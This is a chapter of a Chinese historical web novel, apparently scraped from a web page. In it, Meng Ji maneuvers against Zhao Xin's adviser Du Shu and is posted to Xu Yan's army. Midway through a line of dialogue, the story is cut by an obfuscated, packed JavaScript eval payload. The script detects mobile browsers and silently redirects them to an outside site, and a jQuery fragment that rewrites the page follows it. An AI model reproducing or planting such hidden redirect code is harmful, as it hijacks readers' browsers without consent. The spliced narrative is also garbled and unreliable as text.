9. 以攻为守
    “那两人果然还在屋里,闭门不出?”赵廞扬了扬眉。

    他的面前,一个中年男仆躬身答道:“是,只叫人送热水进去。这一天就送进去了五桶。”

    “可听见了什么声音?”插言的是张粲。

    “倒也不曾……”

    那仆从略一回忆,“也就是最开始的时候,听见沈介的怒骂,伴着打斗之声,似乎是两人有什么争执,却也听不分明,后来就没声了。孟郎君也不许别人进去伺候,是以……”

    “行了,下去吧。”赵廞挥了挥手,打发了仆从。

    张粲当即表达了自己的鄙夷,“青天白日的,如此行径,与禽兽何异?”

    杜淑却是嗤笑一声,缓缓开口:“倒未尝不是一件好事。”

    “此话怎讲?”赵廞扭头看过来。

    “能毫无顾忌地做出这样的行径,这个孟明彻不过是个酒囊饭袋之徒而已,根本不足为虑,”杜淑袖着手,“我之前还以为他别有用心,如今看来,倒是我高看他了。”

    杜淑沉吟了一下,下了定论,“他催主公发兵,果然只是贪图主公许诺的‘南中王’而已。”

    “年轻后生,哪个不想封王拜相。”听见这个结论,赵廞显然也是松了口气。

    可接着,他又捋着自己下巴上那几根胡须,蹙起眉来。

    “但是他这三番四次地跑来催我发兵,到底惹人厌烦,我欲要发作,却又担心他这年少气盛的,万一被我气跑,去投了别人,咱们这里,不是一场空吗?”

    “天下英雄,唯主公而已,他舍主公而去,却还能投谁?”

    安抚主公,乃是谋臣第一要务,座下张粲立刻如此这般言道。

    赵廞略略摇头,“我观其言语姿态,似乎对李庠颇为推崇,万一他见我推诿搪塞,一时气不过,当真跑去找李庠献南中……便还真似昔年张松故事,弃了曹孟德,转而献图于那辗转流浪之辈。”

    赵廞的眼底浮起一缕忧色,“李氏素来贪得无厌,未必不能从了他。”

    杜淑却是微露笑意,“主公无须担心,淑自有妙计。既能解主公烦忧,又能稳住这南蛮子。”

    *

    “大都督不在府中?”

    这天稍晚一点,当孟霁再度点卯似地来找赵廞,却是连人都没见到。

    长史杜淑揣着手,眯眼笑道:“军中有急务,大都督昨夜就赶去处置了。”

    “如此,我便等大都督归来也是一样。”

    “军中事务繁忙,大都督今日未必会归来。”

    杜淑依旧维持那个揣着手的姿态,却是悄无声息地掀起眼皮,打量着面前少年的神色。

    那少年大抵是真的生气了,饶是奋力压抑,怒火依旧藏不住地,从眼里冒出来。

    杜淑心中一哂,到底是小儿辈。

    他就这么不动声色地,看着这个来自南中的少年人,焦躁地原地转了两圈,终于还是没能按捺住心中委屈,大声地嚷嚷了起来:

    “大都督这是何意?我诚意献上南中,早已派了人将我的意思传递回去,让家里准备好迎接王师。可大都督对此却毫不在意,发兵的事,竟是一推再推!”

    孟霁气得再度原地走了数步,这才又气咻咻地踱回了杜淑面前。

    “杜长史,你告诉我,大都督是不是根本对南中无意?要是如此,我又何苦自作多情!”

    “郎君切莫误会,”杜淑不紧不慢地从袖中抽出手来,“郎君不知大都督的难处,方会有此误会。”

    孟霁呆了一呆,“大都督能有什么难处?”

    杜淑略一颔首,却是引着孟霁往一旁小榻坐了,“郎君且坐,容杜某慢慢道来。”

    他说慢,那是真的慢。

    红泥小火炉上坐着的水都滚了,杜淑却是一个字都没说,只是慢悠悠地将一勺茶放了进去。

    孟霁有些不耐地搓了搓手,又搓了搓手。

    看着对方一勺盐、一勺陈皮地往茶里加料,直到对方舀起一勺茱萸的时候,她终于忍不住开口催促:

    “杜长史!大都督到底是如何想的?”

    杜淑不徐不疾地一抖手,见茱萸全都没入茶汤之中,他这才放下银匙,正坐相对。

    “郎君观大都督今日境遇如何?”

    孟霁想也没想便道:“大都督雄踞益州,自然风光无限。”

    “非也,非也,”杜淑缓缓摇头,“大都督如今的景况,却是进退不得。”

    “此话怎讲?”孟霁眨巴了一下眼睛。

    “诚如许将军之前所说,益州固然有剑阁天险,可梁、益之间,却无屏障。若是调派大军前往南中,那么益州必然空虚。

    若此时晋廷大军自梁州而来,益州必然难以保全。是以南中一事,只能徐徐图之,不可操之过急。”

    “我道是什么缘故,”孟霁满不在乎地摆了摆手,“也无须调空益州守军,只命一位将军带着一两万兵卒便够了,有我孟氏在内,趁着众刺史、太守尚无防备,咱们里应外合,哪里需要太大阵仗。”

    杜淑再度一哂,不紧不慢地开始往小盏里倒茶汤,“郎君有所不知,大都督麾下诸将眼下各负其责,抽走一个,岂不打乱了布防?”

    “也未见得如此严重吧?”孟霁觑着杜淑,“我听说李氏兄弟皆囤在成都北面,北面门户再重要,也用不着这么多将军吧,让他们匀一个出来,不就行了?”

    杜淑闻着茶汤香飘四溢,早就食指大动,当下下意识便问道:“那依郎君看,匀谁出来?”

    “我听人说,威寇将军李庠甚晓军陈,乃东羌良将,可以南中一行。”

    杜淑的手却是一顿,旋即神色如常,快到让人以为,适才那一顿只是个幻觉,“孟郎君也听过威寇将军的威名?”

    “威寇将军威名,谁人不晓?我听人说,李将军堪比当世关张。不瞒长史,我神交已久,早就想要与之结交,可惜一直没有机会。”孟霁露出一副心向往之的神色。

    杜淑将茶盏推到孟霁面前,“李将军的确威望素著,是以北道门户之地,万万少不了他。”

    “那不然,许弇许将军若何?”孟霁又问。

    “不成,许将军乃牙门将,专职护卫大都督,怎可轻易调离?”

    “这也不行,那也不行,难道此事就这么搁置下去吗?”孟霁愤然一拍案几,那褐色的茶汤便撒了出来。

    杜淑却依旧气定神闲,孟霁越是气急败坏,越是说明,她对进取南中一事的患得患失。

    是以见到孟霁三番四次在自己面前发怒,杜淑非但没有生气,反而觉得正中下怀。

    他只是轻轻吹了吹茶汤,“郎君可曾想过,自己带着一支军队回去攻略南中,岂不威风?”

    “可我未曾带过兵呀。”孟霁呆了一呆。

    “这又有何难?”杜淑笑了起来,“郎君聪慧,若是肯在军中摸爬个一段时日,未必比不上那威寇将军。”

    就这么着,孟霁顶着个“跟许将军学军中事”的名义,被打发到了许弇军中。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210506|139263||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大王,这个赵廞到底是作何打算?总不能当真想让咱们带兵回南中吧?”

    ——此事马海阿图想了一路,直到出城十里,依旧没想出来个所以然,终于忍不住打马跑到最前头,来问孟霁。

    “咱们带兵回去,有什么不妥吗?”孟霁骑在马上,身子随之晃晃悠悠,“咱们是南中人,了解地形,知道根底,只会事半功倍。”

    “话是这么说,可问题就在这里,这赵廞难道就不怕咱们借了他的兵,顺势据了南中吗?到时候他再是强龙,也压不了地头蛇吧。”

    这个高壮的汉子眉头皱了起来,那浓密的眉毛几乎跟他的络腮胡子连成一片,整个脑袋就像个巨大的,长了毛的煤球。

    “他当然怕,”孟霁的眸光很冷,“所以到最后,他一定不会当真令我领兵去南中的。”

    她轻轻地哼了一声,“真拿我当小孩子哄呢。”

    孟霁说着看向一旁的沈介,“涧松可得到想要的答案了?”

    沈介背脊绷得笔直,一双手死死地揪住缰绳,似乎生怕被马儿颠下来,闻言只是小幅度地点了点头。

    “我一直想要弄清楚,赵廞对李氏陇上寇的控制力到了哪一步,眼下他这个动作,倒叫我能推测出来,他根本控制不了这群寇匪。

    赵廞若是派李氏出兵,那就得做好了把南中拱手让给李氏的准备。他怎么可能舍得。”

    “是,”孟霁也道,“我故意提了让李庠带兵南去,那杜淑想也没想,就拒绝了。看他那表情,他们对李氏当真非常忌惮。”

    马海阿图瞪圆了眼睛,“照这么说,那赵廞不是不想出兵,是不敢出兵。”

    沈介颔首,“如此我敢肯定,赵廞现在能指挥得动的,真正属于他的兵卒,不过数千,剩下的流民军,根本不在赵廞的掌控中。”

    “区区几千人,能造出这样的声势,倒也算他有本事。诶,不对,”孟霁摇了摇头,“我看这都是杜淑的本事。此人奸猾狡诈,若是能除去杜淑,赵廞也不过庸人而已。”

    “还有许弇、张粲,赵廞真正的心腹也就这三人。我看别的人,未必多忠心于赵廞。”

    沈介分析起局势来,倒是举重若轻,就是这骑马的姿态却是肉眼可见的紧张不已。

    “还是涧松你的计策好使,有杜淑在,咱们在赵廞面前使不了力,倒是许弇那里还有一搏的机会。而今总算顺理成章地脱离了州牧府,正可放开拳脚了。”

    孟霁心情大好,一扭头,却发现沈介竟不知何时不再同自己并辔,而是稍微落后了两个马身,不知在想什么,神色有些落寞。

    “涧松,你走快点呀。”孟霁唤他。

    沈介却并不追上来,“明彻,你不该把我带出来的。我留在州牧府,还可以……”

    “你留在那里也无用,”孟霁打断他,目光移向沈介面上已经结痂的伤处,“我得亲自看着你,不许再有人欺辱你了。你别跟在我后面,你这样就跟我的扈从似的。”

    沈介勉强一笑,可这一笑之下,他身上的疏离感却是更重了,“明彻,你就当我是你的仆从吧。咱们之间……也不会有别的关系了。”

    孟霁脸色一黑,“我管你要做仆从还是什么,等此间事了,我就带你回南中。”

    “明彻。”沈介有些无奈。

    “没跟你商量,你同意,就跟我走,不同意,到时候绑在马上带回去。”孟霁说完,一夹马腹,便朝前面去了。

    沈介望着孟霁远去的背影,终于只是重重地叹了口气。